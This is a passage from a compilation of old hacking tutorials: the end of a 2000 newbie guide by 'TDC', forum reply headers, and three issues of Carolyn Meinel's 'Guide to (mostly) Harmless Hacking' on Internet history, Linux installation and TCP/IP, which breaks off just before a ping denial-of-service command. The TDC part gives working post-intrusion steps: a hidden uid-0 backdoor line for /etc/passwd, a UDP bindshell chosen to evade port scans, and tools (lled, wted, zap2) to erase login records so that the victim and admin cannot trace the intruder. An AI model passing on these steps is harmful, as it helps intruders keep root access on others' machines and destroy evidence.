 dood::0:0:dood:/:/bin/sh        (put it in a hidden place)
```

So, once we get a shell, we type:

```
       sh-2.03$ su dood
       sh-2.03$ whoami
       dood
```

And now we're root because dood's uid=0 and gid=0.

Smart admins usually look for anomalities on /etc/passwd. The best way is to use a fake program in /bin that executes the shell you want with suid perms.

I haven't got such a program at my site, but it shouldn't be difficult to develope.

3.How to put a bindshell.

A bindshell is a daemon, it's very similar to telnetd (in fact, telnetd is a bindshell). The case is this is our own daemon. The good bindshells will listen to an UDP port (not TCP) and give a shell to you when you connect. The cool thing of UDP is this:

If the admin uses a scanner to see what TCP ports are open, he woldn't find anything! They rarely remember UDP exists.

You can get an UDP bindshell coded by !hispahack from my site.

Cleaning up

Remember when we logedin to target.edu as luser, and used su to become root? Take a look to this line:

```
      Last login: Fry Sep 22 20:47:59 from xx.xx.xx.xx.
```

Yes, that was displayed by the target box when we logedin there. It refers to the last login that the real luser did.

So, what will be displayed when luser logsin again?

```
      Last login: Sun Sep 24 10:32:14 from <yourIPaddress>.
```

Then luser writes a mail to the admin:

"It has happen some strange thing, when I loggedin today, I've read a line like this:

```
 Last login: Sun Sep 24 10:32:14 from <yourIPaddress>.
```

Does it mean I did login yesterday? It can't be, I don't work on sundays!
I think it's a bug and this is your fault."

The admin responds to luser:

"That wasn't a bug! this line means someone acceded the system using your password, don't worry for that, we got his IP. That means we can ask his ISP what phone number did call at 10:32 and get <yourIPaddress>. Then we shall call the police and he'll get busted"

So you'll get busted because luser was a bit clever (sometimes happens).

So we gotta find a way to delete that.

This information can be stored in:

```
/usr/adm/lastlog
/var/adm/lastlog
/var/log/lastlog
```

and we can erase it using lled (get it from my site)

lled gots a buitin help that explains how to use it, remember to chmod the fake file created by lled like the substitute lastlog file.

There is also some information we'd like to erase:

Remember when i told you not to use FTP? Well, in case you did it, you must now
use wted to clean up. Its sintax is very similar to lled.
you can get it from my site.

The who command shows us (and the admin) which lusers are logedin at the moment.
What if we login and the admin is there?

```
        sh-2.03$ who
        root      tty1      Sep 25 18:18
```

Then we shall use zap2. If you loggedin as 'luser', then type:

```
        sh-2.03$ ./zap2 luser
        Zap2!
        sh-2.03$ who
        sh-2.03$
```

And luser has never been here.

Greetings

Ok, this is all for now (i'll make a newer version). I hope it has been useful to you and you
decide to continue learning and become a real hacker. You can visit my site (www.3b0x.com)
for more advanced tutorials so you can improve your skills.

I'd get very happy if you send me a mail telling me your impression about this paper (wether
is good or bad), and you help me to improve it.

I'd like to send my greetings to every hacker that has tought me in any way, through newsgroups
or other tutorials like this one. thanks to all.

This paper was written on 26-9-00 by TDC

Follow-Ups:
Re: Learn to hack hotmail and icq and aol

From: diggitydog46@hotmail.com
Re: Learn to hack in easy steps
From: Pornaddict2000<aron_58@mail.com>
Re: Learn to hack in easy steps
From: asterixx@post.cz
Re: Learn to hack in easy steps
From: shane4444@hotmail.com
Re: Learn to hack in easy steps
From: Keith Koeppen<Joy_ride80@yahoo.com>

Prev by Date: **Re: i can hack hotmail for free and in minutes**
Next by Date: **Re: Profile of a person using hotmail**
Prev by thread: **i can´t find a hotmail password!!!**
Next by thread: **Re: Learn to hack in easy steps**
Index(es):
Date
Thread

Hacking for Dummies-II

Contents of Volume 2:
Internet for Dummies
Linux!
Introduction to TCP/IP
Port Surfing!

GUIDE TO (mostly) HARMLESS HACKING
Vol. 2 Number 1
Internet for Dummies -- skip this if you are a Unix wizard.
But if you read on you’ll get some more kewl hacking instructions.

The six Guides to (mostly) Harmless Hacking of Vol. 1 jumped immediately into how-to hacking tricks. But if you are like me, all those details of probing ports and playing with hypotheses and pinging down hosts gets a little dizzying.

So how about catching our breath, standing back and reviewing what the heck it is that we are playing with? Once we get the basics under control, we then can move on to serious hacking.

Also, I have been wrestling with my conscience over whether to start giving you step-by-step instructions on how to gain root access to other peoples' computers. The little angel on my right shoulder whispers, "Gaining root without permission on other people's computers is not nice. So don't tell people how to do it." The little devil on my left shoulder says, "Carolyn, all these hackers think you don't know nothin'! PROOVE to them you know how to crack!" The little angel says, "If anyone reading Guide to (mostly) Harmless Hacking tries out this trick, you might get in trouble with the law for conspiracy to damage other peoples' computers." The little devil says, "But, Carolyn, tell people how to crack into root and they will think you are KEWL!"

So here's the deal. In this and the next few issues of Guide to (mostly) Harmless Hacking I'll tell you several ways to get logged on as the superuser in the root account of some Internet host computers. But the instructions will leave a thing or two to the imagination.

My theory is that if you are willing to wade through all this, you probably aren't one of those cheap thrills hacker wannabes who would use this knowledge to do something destructive that would land you in jail.

****

Technical tip: If you wish to become a *serious* hacker, you'll need Linux (a freeware variety of Unix) on your PC. One reason is that then you can crack into root legally all you want -- on your own computer. It sure beats struggling around on someone else's computer only to discover that what you thought was root was a cleverly set trap and the sysadmin and FBI laugh at you all the way to jail.

Linux can be installed on a PC with as little as a 386 CPU, only 2 Mb RAM and as little as 20 MB of hard disk. You will need to reformat your hard disk. While some people have successfully installed Linux without trashing their DOS/Windows stuff, don't count on getting away with it. Backup, backup, backup!

****

****

You can go to jail warning: Crack into root on someone else’s computer and the slammer becomes a definite possibility. Think about this: when you see a news story about some hacker getting busted, how often do you recognize the name? How often is the latest bust being done to someone famous, like Dark Tangent or se7en or Emmanuel Goldstein? How about, like, never! That’s because really good hackers figure out how to not do stupid stuff. They learn how to crack into computers for the intellectual challenge and to figure out how to make computers safe from intruders. They don’t bull their way into root and make a mess of things, which tends to inspire sysadmins to call the cops.

****

Exciting notice: Is it too boring to just hack into your own Linux machine? Hang in there. Ira Winkler of the National Computer Security Association, Dean Garlick of the Space Dynamics Lab of Utah State University and I are working on setting up hack.net, a place where it will be legal to break into computers. Not only that, we’re looking for sponsors who will give cash awards and scholarships to those who show the greatest hacking skills. Now does that sound like more phun than jail?

****

So, let’s jump into our hacking basics tutorial with a look at the wondrous anarchy that is the Internet.

Note that these Guides to (mostly) Harmless Hacking focus on the Internet. That is because there are many legal ways to hack on the Internet. Also, there are over 10 million of these readily hackable computers on the Internet, and the number grows every day.

Internet Basics

No one owns the Internet. No one runs it. It was never planned to be what it is today. It just happened, the mutant outgrowth of a 1969 US Defense Advanced Research Projects Agency experiment.

This anarchic system remains tied together because its users voluntarily obey some basic rules. These rules can be summed up in two words: Unix and TCP/IP (with a nod to UUCP). If you understand, truly understand Unix and TCP/IP (and UUCP), you will become a fish swimming in the sea of cyberspace, an Uberhacker among hacker wannabes, a master of the Internet universe.

To get technical, the Internet is a world-wide distributed computer/communications network held together by a common communications standard, Transmission Control Protocol/Internet Protocol (TCP/IP) and a bit of UUCP. These standards allow anyone to hook up a computer to the Internet, which then becomes another node in this network of the Internet. All that is needed is to get an Internet address assigned to the new computer, which is then known as an Internet "host," and tie into an Internet communications link. These links are now available in almost all parts of the world.

If you use an on-line service from your personal computer, you, too, can temporarily become part of the Internet. There are two main ways to hook up to an on-line service.

There is the cybercouch potato connection that every newbie uses. It requires either a point-to-point (PPP) or SLIPconnection, which allows you to run pretty pictures with your Web browser. If you got some sort of packaged software from your ISP, it automatically gives you this sort of connection.

Or you can connect with a terminal emulator to an Internet host. This program may be something as simple as the Windows 3.1 “Terminal” program under the “Accessories” icon. Once you have dialed in and connected you are just another terminal on this host machine. It won’t give you pretty pictures. This connection will be similar to what you get on an old-fashioned BBS. But if you know how to use this kind of connection, it could even give you root access to that host.

But how is the host computer you use attached to the Internet? It will be running some variety of the Unix operating system. Since Unix is so easy to adapt to almost any computer, this means that almost any computer may become an Internet host.

For example, I sometimes enter the Internet through a host which is a Silicon Graphics Indigo computer at Utah State University. Its Internet address is fantasia.idec.sdl.usu.edu. This is a computer optimized for computer animation work, but it can also operate as an Internet host. On other occasions the entry point used may be pegasus.unm.edu, which is an IBM RS 6000 Model 370. This is a computer optimized for research at the University of New Mexico.

Any computer which can run the necessary software -- which is basically the Unix operating system -- has a modem, and is tied to an Internet communications link, may become an Internet node. Even a PC may become an Internet host by running one of the Linux flavors of Unix. After setting it up with Linux you can arrange with the ISP of your choice to link it permanently to the Internet.

In fact, many ISPs use nothing more than networked PCs running Linux!

As a result, all the computing, data storage, and sending, receiving and forwarding of messages on the Internet is handled by the millions of computers of many types and owned by countless companies, educational institutions, governmental entities and even individuals.

Each of these computers has an individual address which enables it to be reached through the Internet if hooked up to a appropriate communications link. This address may be represented in two ways: as a name or a number.

The communications links of the Internet are also owned and maintained in the same anarchic fashion as the hosts. Each owner of an Internet host is responsible for finding and paying for a communications link that will get that host tied in with at least one other host. Communications links may be as simple as a phone line, a wireless data link such as cellular digital packet data, or as complicated as a high speed fiber optic link. As long as the communications link can use TCP/IP or UUCP, it can fit into the Internet.

Thus the net grows with no overall coordination. A new owner of an Internet host need only get permission to tie into one communications link to one other host. Alternatively, if the provider of the communications link decides this host is, for example, a haven for spammers, it can cut this “rogue site” off of the Internet. The rogue site then must snooker some other communications link into tying it into the Internet again.

The way most of these interconnected computers and communications links work is through the common language of the TCP/IP protocol. Basically, TCP/IP breaks any Internet communication into discrete "packets." Each packet includes information on how to rout it, error correction, and the addresses of the sender and recipient. The idea is that if a packet is lost, the sender will know it and resend the packet. Each packet is then launched into the Internet. This network may automatically choose a route from node to node for each packet using whatever is available at the time, and reassembles the packets into the complete message at the computer to which it was addressed.

These packets may follow tortuous routes. For example, one packet may go from a node in Boston to Amsterdam and back to the US for final destination in Houston, while another packet from the same message might be routed through Tokyo and Athens, and so on. Usually, however, the communications links are not nearly so torturous. Communications links may include fiber optics, phone lines and satellites.

The strength of this packet-switched network is that most messages will automatically get through despite heavy message traffic congestion and many communications links being out of service. The disadvantage is that messages may simply disappear within the system. It also may be difficult to reach desired computers if too many communications links are unavailable at the time.

However, all these wonderful features are also profoundly hackable. The Internet is robust enough to survive -- so its inventors claim -- even nuclear war. Yet it is also so weak that with only a little bit of instruction, it is possible to learn how to seriously spoof the system (forged email) or even temporarily put out of commission other people's Internet host computers (flood pinging, for example.)

On the other hand, the headers on the packets that carry hacking commands will give away the account information from which a hacker is operating. For this reason it is hard to hide perfectly when on the Internet.

It is this tension between this power and robustness and weakness and potential for confusion that makes the Internet a hacker playground.

For example, HERE IS YOUR HACKER TIP YOU’VE BEEN WAITING FOR THIS ISSUE:

ftp://ftp.secnet.com

This ftp site was posted on the BUGTRAQ list, which is dedicated to discussion of Unix security holes. Moderator is Aleph One, who is a genuine Uberhacker. If you want to subscribe to the BUGTRAQ, email LISTSERV@netspace.org with message “subscribe BUGTRAQ.”

Now, back to Internet basics.

History of Internet

As mentioned above, the Internet was born as a US Advanced Research Projects Agency (ARPA) effort in 1969. Its inventors called it ARPANET. But because of its value in scientific research, the US National Science Foundation (NSF) took it over in 1983. But over the years since then it gradually evolved away from any single source of control. In April 1995 NSF cut the last apron strings. Now the Internet is run by no one. It just happens and grows out of the efforts of those who play with it and struggle with the software and hardware. Nothing at all like this has ever happened before. We now have a computer system with a life of its own. We, as hackers, form a big part of the mutation engine that keeps the Internet evolving and growing stronger. We also form a big part of the immune system of this exotic creature.

The original idea of ARPANET was to design a computer and communications network that would eventually become so redundant, so robust, and so able to operate without centralized control, that it could even survive nuclear war.

What also happened was that ARPANET evolved into a being that has survived the end of government funding without even a blip in its growth. Thus its anarchic offspring, the Internet, has succeeded beyond the wildest dreams of its original architects.

The Internet has grown explosively, with no end in sight. At its inception as ARPANET it held only 4 hosts. A quarter of a century later, in 1984, it contained only 1000 hosts. But over the next 5 years this number grew tenfold to 10,000 (1989). Over the following 4 years it grew another tenfold to 1 million (1993). Two years later, at the end of 1995, the Internet was estimated to have at least 6 million host computers. There are probably over 10 million now. There appears to be no end in sight yet to the incredible growth of this mutant child of ARPANET.

In fact, one concern raised by the exponential growth in the Internet is that demand may eventually far outrace capacity. Because now no entity owns or controls the Internet, if the capacity of the communications links among nodes is too small, and it were to become seriously bogged down, it might be difficult to fix the problem.

For example, in 1988, Robert Morris, Jr. unleashed a "virus"-type program on the Internet commonly known as the “Morris Worm.” This virus would make copies of itself on whatever computer it was on and then send copies over communications links to other Internet hosts. (It used a bug in sendmail that allowed access to root, allowing the virus to act as the superuser).

Quickly the exponential spread of this virus made the Internet collapse from the communications traffic and disk space it tied up.

At the time the Internet was still under some semblance of control by the National Science Foundation and was connected to only a few thousand computers. The Net was shut down and all viruses purged from its host computers, and then the Net was put back into operation. Morris, meanwhile, was put in jail.

There is some concern that, despite improved security measures (for example, "firewalls"), someone may find a new way to launch a virus that could again shut down the Internet. Given the loss of centralized control, restarting it could be much more time-consuming if this were to happen again.

But reestablishing a centralized control today like what existed at the time of the “Morris Worm” is likely to be impossible. Even if it were possible, the original ARPANET architects were probably correct in their assessment that the

Net would become more susceptible for massive failure rather than less if some centralized control were in place.

Perhaps the single most significant feature of today's Internet is this lack of centralized control. No person or organization is now able to control the Internet. In fact, the difficulty of control became an issue as early as its first year of operation as ARPANET. In that year email was spontaneously invented by its users. To the surprise of ARPANET's managers, by the second year email accounted for the bulk of the communication over the system.

Because the Internet had grown to have a fully autonomous, decentralized life of its own, in April 1995, the NSF quit funding NSFNET, the fiber optics communications backbone which at one time had given NSF the technology to control the system. The proliferation of parallel communications links and hosts had by then completely bypassed any possibility of centralized control.

There are several major features of the Internet:

* World Wide Web -- a hypertext publishing network and now the fastest growing part of the Internet.
* email -- a way to send electronic messages
* Usenet -- forums in which people can post and view public messages
* telnet -- a way to login to remote Internet computers
* file transfer protocol -- a way to download files from remote Internet computers
* Internet relay chat -- real-time text conversations -- used primarily by hackers and other Internet old-timers
* gopher -- a way of cataloging and searching for information. This is rapidly growing obsolete.

As you port surfers know, there are dozens of other interesting but less well known services such as whois, finger, ping etc.

The World Wide Web

The World Wide Web is the newest major feature of the Internet, dating from the spring of 1992. It consists of "Web pages," which are like pages in a book, and links from specially marked words, phrases or symbols on each page to other Web pages. These pages and links together create what is known as "hypertext." This technique makes it possible to tie together many different documents which may be written by many people and stored on many different computers around the world into one hypertext document.

This technique is based upon the Universal Resource Locator (URL) standard, which specifies how to hook up with the computer and access the files within it where the data of a Web page may be stored.

A URL is always of the form http://<rest of address>, where <rest of address> includes a domain name which must be registered with an organization called InterNIC in order to make sure that two different Web pages (or email addresses, or computer addresses) don't end up being identical. This registration is one of the few centralized control features of the Internet.

Here's how the hypertext of the World Wide Web works. The reader would come to a statement such as "our company offers LTL truck service to all major US cities." If this statement on the "Web page" is highlighted, that means that a click of the reader's computer mouse will take him or her to a new Web page with details. These may include complete schedules and a form to fill out to order a pickup and delivery.

Some Web pages even offer ways to make electronic payments, usually through credit cards.

However, the security of money transfers over the Internet is still a major issue. Yet despite concerns with verifiability of financial transactions, electronic commerce over the Web is growing fast. In its second full year of existence, 1994, only some $17.6 million in sales were conducted over the Web. But in 1995, sales reached $400 million. Today, in 1996, the Web is jammed with commercial sites begging for your credit card information.

In addition, the Web is being used as a tool in the distribution of a new form of currency, known as electronic cash. It is conceivable that, if the hurdle of verifiability may be overcome, that electronic cash (often called ecash) may play a major role in the world economy, simplifying international trade. It may also eventually make national currencies and even taxation as we know it obsolete.

Examples of Web sites where one may obtain ecash include the Mark Twain Bank of St. Louis, MO (http://www.marktwain.com) and Digicash of Amsterdam, The Netherlands (http://www.digicash.com).

The almost out-of-control nature of the Internet manifests itself on the World Wide Web. The author of a Web page does not need to get permission or make any arrangement with the authors of other Web pages to which he or she wishes to establish links. Links may be established automatically simply by programming in the URLs of desired Web page links. Conversely, the only way the author of a Web page can prevent other people from reading it or establishing hypertext links to it is to set up a password protection system (or by not having communications links to the rest of the Internet).

A problem with the World Wide Web is how to find things on it. Just as anyone may hook a new computer up to the

Internet, so also there is no central authority with control or even knowledge of what is published where on the World Wide Web. No one needs to ask permission of a central authority to put up a Web page.

Once a user knows the address (URL) of a Web page, or at least the URL of a Web page that links eventually to the desired page, then it is possible (so long as communications links are available) to almost instantly hook up with this page.

Because of the value of knowing URLs, there now are many companies and academic institutions that offer searchable indexes (located on the Web) to the World Wide Web. Automated programs such as Web crawlers search the Web and catalog the URLs they encounter as they travel from hypertext link to hypertext link. But because the Web is constantly growing and changing, there is no way to create a comprehensive catalog of the entire Web.

Email

Email is the second oldest use of the Internet, dating back to the ARPAnet of 1972. (The first use was to allow people to remotely log in to their choice of one of the four computers on which ARPAnet was launched in 1971.)

There are two major uses of email: private communications, and broadcasted email. When broadcasted, email serves to make announcements (one-way broadcasting), and to carry on discussions among groups of people such as our Happy Hacker list. In the group discussion mode, every message sent by every member of the list is broadcasted to all other members.

The two most popular program types used to broadcast to email discussion groups are majordomo and listserv.

Usenet

Usenet was a natural outgrowth of the broadcasted email group discussion list. One problem with email lists is that there was no easy way for people new to these groups to join them. Another problem is that as the group grows, a member may be deluged with dozens or hundreds of email messages each day.

In 1979 these problems were addressed by the launch of Usenet. Usenet consists of news groups which carry on discussions in the form of "posts." Unlike an email discussion group, these posts are stored, typically for two weeks or so, awaiting potential readers. As new posts are submitted to a news group, they are broadcast to all Internet hosts that are subscribed to carry the news groups to which these posts belong.

With many Internet connection programs you can see the similarities between Usenet and email. Both have similar headers, which track their movement across the Net. Some programs such as Pine are sent up to send the same message simultaneously to both email addresses and newsgroups. All Usenet news readers allow you to email the authors of posts, and many also allow you to email these posts themselves to yourself or other people.

Now, here is a quick overview of the Internet basics we plan to cover in the next several issues of Guide to (mostly) Harmless Hacking:

1. Unix

We discuss “shells” which allow one to write programs (“scripts”) that automate complicated series of Unix commands. The reader is introduced to the concept of scripts which perform hacking functions. We introduce Perl, which is a shell programming language used for the most elite of hacking scripts such as SATAN.

3. TCP/IP and UUCP

This chapter covers the communications links that bind together the Internet from a hackers' perspective. Extra attention is given to UUCP since it is so hackable.

4. Internet Addresses, Domain Names and Routers

The reader learns how information is sent to the right places on the Internet, and how hackers can make it go to the wrong places! How to look up UUCP hosts (which are not under the domain name system) is included.

5. Fundamentals of Elite Hacking: Ports, Packets and File Permissions

This section lets the genie of serious hacking out of the bottle. It offers a series of exercises in which the reader can enjoy gaining access to almost any randomly chosen Internet host. In fact, by the end of the chapter the reader will have had the chance to practice several dozen techniques for gaining entry to other peoples' computers. Yet these hacks we teach are 100% legal!

Want to subscribe to this list? Email hacker@techbroker.com with the message “subscribe happyhacker.” Want to share some kewl stuph with the Happy Hacker list? Send your messages to hacker@techbroker.com. To send me confidential email (please, no discussions of illegal activities) use cmeinel@techbroker.com. Please direct flames to dev/null@techbroker.com. Happy hacking!

GUIDE TO (mostly) HARMLESS HACKING

Vol. 2 Number 2

Linux!

Unix has become the primo operating system of the Internet. In fact, Unix is the most widely used operating system in the world among computers with more power than PCs.

True, Windows NT is coming up fast as a common Internet operating system, and is sooo wonderfully buggy that it looks like it could become the number one favorite to crack into. But today Unix in all its wonderful flavors still is the operating system to know in order to be a truly elite hacker.

So far we have assumed that you have been hacking using a shell account that you get through your Internet Service Provider (ISP). A shell account allows you to give Unix commands on one of your ISP's computers. But you don't need to depend on your ISP for a machine that lets you play with Unix. You can run Unix on your own computer and with a SLIP or PPP connection be directly connected to the Internet.

****

Newbie note: Serial Line Internet Protocol (SLIP) and Point-to-Point Protocol (PPP) connections give you a temporary Internet Protocol (IP) address that allows you to be hooked directly to the Internet. You have to use either SLIP or PPP connections to get to use a Web browser that gives you pictures instead on text only. So if you can see pictures on the Web, you already have one of these available to you.

The advantage of using one of these direct connections for your hacking activities is that you will not leave behind a shell log file for your ISP's sysadmin to pore over. Even if you are not breaking the law, a shell log file that shows you doing lots of hacker stuph can be enough for some sysadmins to summarily close your account.

****

What is the best kind of computer to run Unix on? Unless you are a wealthy hacker who thinks nothing of buying a Sun SPARC workstation, you'll probably do best with some sort of PC. There are almost countless variants of Unix that run on PCs, and a few for Macs. Most of them are free for download, or inexpensively available on CD-ROMs.

The three most common variations of Unix that run on PCs are Sun's Solaris, FreeBSD and Linux. Solaris costs around $700. Enough said. FreeBSD is really, really good. But you con't find many manuals or newsgroups that cover FreeBSD.

Linux, however, has the advantage of being available in many variants (so you can have fun mixing and matching programs from different Linux offerings). Most importantly, Linux is supported by many manuals, news groups, mail lists and Web sites. If you have hacker friends in your area, most of them probably use Linux and can help you out.

****

Historical note: Linux was created in 1991 by a group led by Linus Torvalds of the University of Helsinki. Linux is copyrighted under the GNU General Public License. Under this agreement, Linux may be redistributed to anyone along with the source code. Anyone can sell any variant of Linux and modify it and repackage it. But even if someone modifies the source code he or she may not claim copyright for anything created from Linux. Anyone who sells a modified version of Linux must provide source code to the buyers and allow them to reuse it in their commercial products without charging licensing fees. This arrangement is known as a "copyleft." Under this arrangement the original creators of Linux receive no licensing or shareware fees. Linus Torvalds and the many others who have contributed to Linux have done so from the joy of programming and a sense of community with all of us who will hopefully use Linux in the spirit of good guy hacking. Viva Linux! Viva Torvalds!

****

Linux consists of the operating system itself (called the "kernel") plus a set of associated programs.

The kernel, like all types of Unix, is a multitasking, multi-user operating system. Although it uses a different file structure, and hence is not directly compatible with DOS and Windows, it is so flexible that many DOS and Windows programs can be run while in Linux. So a power user will probably want to boot up in Linux and then be able to run DOS and Windows programs from Linux.

Associated programs that come with most Linux distributions may include:

* a shell program (Bourne Again Shell -- BASH -- is most common);
* compilers for programming languages such as Fortran-77 (my favorite!), C, C++, Pascal, LISP, Modula-2, Ada, Basic (the best language for a beginner), and Smalltalk.;
* X (sometimes called X-windows), a graphical user interface
* utility programs such as the email reader Pine (my favorite) and Elm

Top ten reasons to install Linux on your PC:

1.When Linux is outlawed, only outlaws will own Linux.

2. When installing Linux, it is so much fun to run fdisk without backing up first.

3.The flames you get from asking questions on Linux newsgroups are of a higher quality than the flames you get for posting to alt.sex.bestiality.

4.No matter what flavor of Linux you install, you'll find out tomorrow there was a far more 3l1te ersion you should have gotten instead.
5.People who use Free BSD or Solaris will not make fun of you. They will offer their sympathy instead.
6.At the next Def Con you'll be able to say stuph like "so then I su-ed to his account and grepped all his files for 'kissyface'." Oops, grepping other people's files is a no-no, forget I ever suggested it.
7.Port surf in privacy.
8.One word: exploits.
9.Installing Linux on your office PC is like being a postal worker and bringing an Uzi to work.
10.But - - if you install Linux on your office computer, you boss won't have a clue what that means.
What types of Linux work best? It depends on what you really want. Redhat Linux is famed for being the easiest to install. The Walnut Creek Linux 3.0 CD-ROM set is also really easy to install -- for Linux, that is! My approach has been to get lots of Linux versions and mix and match the best from each distribution.
I like the Walnut Creek version best because with my brand X hardware, its autodetection feature was a life-saver.
INSTALLING LINUX is not for the faint of heart! Several tips for surviving installation are:
1) Although you in theory can run Linux on a 286 with 4 MB RAM and two floppy drives, it is *much* easier with a 486 or above with 8 MB RAM, a CD-ROM, and at least 200 MB free hard disk space.
2) Know as much as possible about what type of mother board, modem, hard disk, CD-ROM, and video card you have. If you have any documentation for these, have them on hand to reference during installation.
3) It works better to use hardware that is name-brand and somewhat out-of-date on your computer. Because Linux is freeware, it doesn't offer device drivers for all the latest hardware. And if your hardware is like mine -- lots of Brand X and El Cheapo stuph, you can take a long time experimenting with what drivers will work.
4) Before beginning installation, back up your hard disk(s)! In theory you can install Linux without harming your DOS/Windows files. But we are all human, especially if following the advice of point 7).
5) Get more than one Linux distribution. The first time I successfully installed Linux, I finally hit on something that worked by using the boot disk from one distribution with the CD-ROM for another. In any case, each Linux distribution had

different utility programs, operating system emulators, compilers and more. Add them all to your system and you will be set up to become beyond elite.

6) Buy a book or two or three on Linux. I didn't like any of them! But they are better than nothing. Most books on Linux come with one or two CD-ROMs that can be used to install Linux. But I found that what was in the books did not exactly coincide with what was on the CD-ROMs.

7) I recommend drinking while installing. It may not make debugging go any faster, but at least you won't care how hard it is.

Now I can almost guarantee that even following all these 6 pieces of advice, you will still have problems installing Linux. Oh, do I have 7 advisories up there? Forget number 7. But be of good cheer. Since everyone else also suffers mightily when installing and using Linux, the Internet has an incredible wealth of resources for the Linux -challenged.

If you are allergic to getting flamed, you can start out with Linux support Web sites.

The best I have found is http://sunsite.unc.edu:/pub/Linux/. It includes the Linux Frequently Asked Questions list (FAQ), available from
sunsite.unc.edu:/pub/Linux/docs/FAQ.

In the directory /pub/Linux/docs on sunsite.unc.edu you'll find a number of other documents about Linux, including the Linux INFO-SHEET and META-FAQ,

The Linux HOWTO archive is on the sunsite.unc.edu Web site at: /pub/Linux/docs/HOWTO. The directory /pub/Linux/docs/LDP contains the current set of LDP manuals.

You can get ``Linux Installation and Getting Started'' from sunsite.unc.edu in /pub/Linux/docs/LDP/install-guide. The README file there describes how you can order a printed copy of the book of the same name (about 180 pages).

Now if you don't mind getting flamed, you may want to post questions to the amazing number of Usenet news groups that cover Linux. These include:

comp.os.linux.advocacy Benefits of Linux compared
comp.os.linux.development.system Linux kernels, device drivers
comp.os.linux.x Linux X Window System servers
comp.os.linux.development.apps Writing Linux applications
comp.os.linux.hardware Hardware compatibility
comp.os.linux.setup Linux installation
comp.os.linux.networking Networking and communications
comp.os.linux.answers FAQs, How-To's, READMEs, etc.
linux.redhat.misc
alt.os.linux Use comp.os.linux.* instead

alt.uu.comp.os.linux.questions Usenet University helps you
comp.os.linux.announce Announcements important to Linux
comp.os.linux.misc Linux-specific topics

Want your Linux free? Tobin Fricke has pointed out that "free copies of Linux CD-ROMs are available the Linux Support & CD Givaway web site at http://emile.math.ucsb.edu:8000/giveaway.html. This is a project where people donate Linux CD's that they don't need any more. The project was seeded by Linux Systems Labs, who donated 800 Linux CDs initially! Please remember to donate your Linux CD's when you are done with them. If you live near a computer swap meet, Fry's, Microcenter, or other such place, look for Linux CD's there. They are usually under $20, which is an excellent investment. I personally like the Linux Developer's Resource by Infomagic, which is now up to a seven CD set, I believe, which includes all major Linux distributions (Slackware, Redhat, Debian, Linux for DEC Alpha to name a few)plus mirrors of tsx11.mit.edu and sunsite.unc.edu/pub/linux plus much more. You should also visit the WONDERFUL linux page at http://sunsite.unc.edu/linux, which has tons of information, as well as the http://www.linux.org/. You might also want to check out http://www.redhat.com/ and http://www.caldera.com/ for more information on commercial versions of linux (which are still freely available under GNU)."

How about Linux security? Yes, Linux, like every operating system, is imperfect. Eminently hackable, if you really want to know. So if you want to find out how to secure your Linux system, or if you should come across one of the many ISPs that use Linux and want to go exploring (oops, forget I wrote that), here's where you can go for info:
ftp://info.cert.org/pub/cert_advisories/CA-94:01.network.monitoring.attacks
ftp://info.cert.org/pub/tech_tips/root_compromise
http://bach.cis.temple.edu/linux/linux-security/
http://www.geek-girl.com/bugtraq/

There is also help for Linux users on Internet Relay Chat (IRC). Ben (cyberkid@usa.net) hosts a channel called #LinuxHelp on the Undernet IRC server.

Last but not least, if you want to ask Linux questions on the Happy Hacker list, you're welcome. We may be the blind leading the blind, but what the heck!

____

GUIDE TO (mostly) HARMLESS HACKING
Vol. 2 Number 3
Introduction to TCP/IP. That means packets! Datagrams! Ping oversize packet denial of service exploit explained. But this hack is a lot less mostly harmless than most. Don't try this at home...

____

If you have been on the Happy Hacker list for awhile, you've been getting some items forwarded from the Bugtraq list on a new ping packet exploit.

Now if this has been sounding like gibberish to you, relax. It is really very simple. In fact, it is so simple that if you use Windows 95, by the time you finish this article you will know a simple, one-line command that you could use to crash many Internet hosts and routers.

****

YOU CAN GO TO JAIL WARNING: This time I'm not going to implore the wannabe evil genius types on this list to be virtuous and resist the temptation to misuse the information I'm about to give them. See if I care! If one of those guys gets caught crashing thousands of Internet hosts and routers, not only will they go to jail and get a big fine. We'll all think he or she is a dork. This exploit is a no-brainer, one-line command from Windows 95. Yeah, the operating system that is designed for clueless morons. So there is nothing elite about this hack. What is elite is being able to thwart this attack.

****

****

NEWBIE NOTE: If packets, datagrams, and TCP/IP aren't exactly your bosom buddies yet, believe me, you need to really get in bed with them in order to call yourself a hacker. So hang in here for some technical stuff. When
we are done, you'll have the satisfaction of knowing you could wreak havoc on the Internet, but are too elite to do so.

A packet is a way to send information electronically that keeps out errors. The idea is that no transmission technology is perfect. Have you ever played the game "telephone"? You get a dozen or so people in a circle and the first person whispers a message to the second. Something like "The bun is the lowest form of wheat." The second person whispers to the third, "A bum is the lowest form of cheating." The third whispers, "Rum is the lowest form of drinking." And so on. It's really fun to find out how far the message can mutate as it goes around the circle.

But when, for example, you get email, you would prefer that it isn't messed up. So the computer that sends the email breaks it up into little pieces called datagrams. Then it wraps things around each datagram that tell what computer it needs to go to, where it came from, and that check whether the datagram might have been garbled. These wrapped up datagram packages are called "packets."

Now if the computer sending email to you were to package a really long message into just one packet, chances are pretty high that it will get messed up while on its way to the other computer. Bit burps. So when the receiving computer checks the packet and finds that it got messed up, it will throw it away and tell the other computer to send it again. It could take a long time until this giant packet gets through intact.

But if the message is broken into a lot of little pieces and wrapped up into bunches of packets, most of them will be good and the receiving computer will keep them. It will then tell the sending computer to retransmit just the packets that messed up. Then when all the pieces finally get there, the receiving computer puts them together in the right order and lo and behold, there is the complete, error-free email.

TCP/IP stands for Transmission Control Protocol/Internet Protocol. It tells computers that are hooked up to the Internet how to package up messages into packets and how to read packets these packets from other computers. Ping uses TCP/IP to make its packets.

****

"Ping" is a command that sends a feeler out from your computer to another computer to see if it is turned on and hooked to the same network you are on. On the Internet there are some ten million computers that you can ping.

Ping is a command you can give, for example, from the Unix, Windows 95 and Windows NT operating systems. It is part of the Internet Control Message Protocol (ICMP), which is used to troubleshoot TCP/IP networks. What it does is tell a remote computer to echo back a ping. So if you get your ping back, you know that computer is alive. Furthermore, some forms of the ping command will also tell you how long it takes for a message to go out to that computer and come back again.

But how does your computer know that the ping it just sent out actually echoed back from the targeted computer? The datagram is the answer. The ping sent out a datagram. If the returning ping holds this same datagram, you know it was your ping that just echoed back.

The basic format of this command is simply:

```
ping hostname
```

where "hostname" is the Internet address of the computer you want to check out.

When I give this command from Sun Release 4.1 Unix, I get the answer "hostname is alive."

****

TECHNICAL TIP: Because of the destructive powers of ping, many Internet Service Providers hide the ping program in their shell accounts where clueless newbies can't get their hands on it. If your shell account says "command not found" when you enter the ping command, try:

```
